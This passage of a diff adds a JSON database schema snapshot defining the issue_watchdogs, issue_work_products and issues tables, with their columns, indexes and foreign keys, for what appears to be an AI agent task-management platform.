+          "notNull": false
+        },
+        "last_observed_stop_snapshot": {
+          "name": "last_observed_stop_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_reviewed_stop_snapshot": {
+          "name": "last_reviewed_stop_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_triggered_at": {
+          "name": "last_triggered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_completed_at": {
+          "name": "last_completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "trigger_count": {
+          "name": "trigger_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_run_id": {
+          "name": "updated_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_watchdogs_company_issue_uq": {
+          "name": "issue_watchdogs_company_issue_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_watchdogs_company_status_idx": {
+          "name": "issue_watchdogs_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_watchdogs_company_agent_idx": {
+          "name": "issue_watchdogs_company_agent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "watchdog_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_watchdogs_company_watchdog_issue_uq": {
+          "name": "issue_watchdogs_company_watchdog_issue_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "watchdog_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_watchdogs\".\"watchdog_issue_id\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_watchdogs_company_id_companies_id_fk": {
+          "name": "issue_watchdogs_company_id_companies_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_issue_id_issues_id_fk": {
+          "name": "issue_watchdogs_issue_id_issues_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_watchdog_agent_id_agents_id_fk": {
+          "name": "issue_watchdogs_watchdog_agent_id_agents_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "watchdog_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_watchdog_issue_id_issues_id_fk": {
+          "name": "issue_watchdogs_watchdog_issue_id_issues_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "watchdog_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_created_by_agent_id_agents_id_fk": {
+          "name": "issue_watchdogs_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_watchdogs_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_updated_by_agent_id_agents_id_fk": {
+          "name": "issue_watchdogs_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_updated_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_watchdogs_updated_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "updated_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_work_products": {
+      "name": "issue_work_products",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "runtime_service_id": {
+          "name": "runtime_service_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "external_id": {
+          "name": "external_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "url": {
+          "name": "url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "review_state": {
+          "name": "review_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'none'"
+        },
+        "is_primary": {
+          "name": "is_primary",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_work_products_company_issue_type_idx": {
+          "name": "issue_work_products_company_issue_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_work_products_company_execution_workspace_type_idx": {
+          "name": "issue_work_products_company_execution_workspace_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_work_products_company_provider_external_id_idx": {
+          "name": "issue_work_products_company_provider_external_id_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "external_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_work_products_company_updated_idx": {
+          "name": "issue_work_products_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_work_products_company_id_companies_id_fk": {
+          "name": "issue_work_products_company_id_companies_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_project_id_projects_id_fk": {
+          "name": "issue_work_products_project_id_projects_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_issue_id_issues_id_fk": {
+          "name": "issue_work_products_issue_id_issues_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "issue_work_products_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_runtime_service_id_workspace_runtime_services_id_fk": {
+          "name": "issue_work_products_runtime_service_id_workspace_runtime_services_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "workspace_runtime_services",
+          "columnsFrom": [
+            "runtime_service_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_work_products_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issues": {
+      "name": "issues",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_workspace_id": {
+          "name": "project_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "parent_id": {
+          "name": "parent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'backlog'"
+        },
+        "work_mode": {
+          "name": "work_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'standard'"
+        },
+        "harness_kind": {
+          "name": "harness_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "priority": {
+          "name": "priority",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'medium'"
+        },
+        "review_policy": {
+          "name": "review_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_agent_id": {
+          "name": "assignee_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_user_id": {
+          "name": "assignee_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "checkout_run_id": {
+          "name": "checkout_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_run_id": {
+          "name": "execution_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_agent_name_key": {
+          "name": "execution_agent_name_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_locked_at": {
+          "name": "execution_locked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_number": {
+          "name": "issue_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "identifier": {
+          "name": "identifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_kind": {
+          "name": "origin_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'manual'"
+        },
+        "origin_id": {
+          "name": "origin_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_fingerprint": {
+          "name": "origin_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'default'"
+        },
+        "request_depth": {
+          "name": "request_depth",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "billing_code": {
+          "name": "billing_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_adapter_overrides": {
+          "name": "assignee_adapter_overrides",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_policy": {
+          "name": "execution_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_state": {
+          "name": "execution_state",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_next_check_at": {
+          "name": "monitor_next_check_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_wake_requested_at": {
+          "name": "monitor_wake_requested_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_last_triggered_at": {
+          "name": "monitor_last_triggered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_attempt_count": {
+          "name": "monitor_attempt_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "monitor_notes": {
+          "name": "monitor_notes",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_scheduled_by": {
+          "name": "monitor_scheduled_by",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_preference": {
+          "name": "execution_workspace_preference",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_settings": {
+          "name": "execution_workspace_settings",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "unblock_descriptor": {
+          "name": "unblock_descriptor",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "blocked_transition_at": {
+          "name": "blocked_transition_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "blocked_owner_notified_at": {
+          "name": "blocked_owner_notified_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cancelled_at": {
+          "name": "cancelled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "hidden_at": {
+          "name": "hidden_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issues_company_status_idx": {
+          "name": "issues_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_harness_kind_idx": {
+          "name": "issues_company_harness_kind_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "harness_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_assignee_status_idx": {
+          "name": "issues_company_assignee_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "assignee_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_assignee_user_status_idx": {
+          "name": "issues_company_assignee_user_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "assignee_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_responsible_user_idx": {
+          "name": "issues_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_parent_idx": {
+          "name": "issues_company_parent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "parent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_project_idx": {
+          "name": "issues_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_origin_idx": {
+          "name": "issues_company_origin_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_project_workspace_idx": {
+          "name": "issues_company_project_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_execution_workspace_idx": {
+          "name": "issues_company_execution_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_monitor_due_idx": {
+          "name": "issues_company_monitor_due_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "monitor_next_check_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_updated_idx": {
+          "name": "issues_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_created_idx": {
+          "name": "issues_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_open_normalized_title_created_idx": {
+          "name": "issues_open_normalized_title_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "parent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "lower(regexp_replace(btrim(\"title\"), '\\s+', ' ', 'g'))",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "where": "\"issues\".\"hidden_at\" is null and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_priority_idx": {
+          "name": "issues_company_priority_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "priority",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_identifier_idx": {
+          "name": "issues_identifier_idx",
+          "columns": [
+            {
+              "expression": "identifier",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_title_search_idx": {
+          "name": "issues_title_search_idx",
+          "columns": [
+            {
+              "expression": "title",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "issues_identifier_search_idx": {
+          "name": "issues_identifier_search_idx",
+          "columns": [
+            {
+              "expression": "identifier",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "issues_description_search_idx": {
+          "name": "issues_description_search_idx",
+          "columns": [
+            {
+              "expression": "description",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "issues_open_routine_execution_uq": {
+          "name": "issues_open_routine_execution_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_fingerprint",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'routine_execution'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"execution_run_id\" is not null\n          and \"issues\".\"status\" in ('backlog', 'todo', 'in_progress', 'in_review', 'blocked')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_liveness_recovery_incident_uq": {
+          "name": "issues_active_liveness_recovery_incident_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'harness_liveness_escalation'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_liveness_recovery_leaf_uq": {
+          "name": "issues_active_liveness_recovery_leaf_uq",
+          "columns": [
+            {
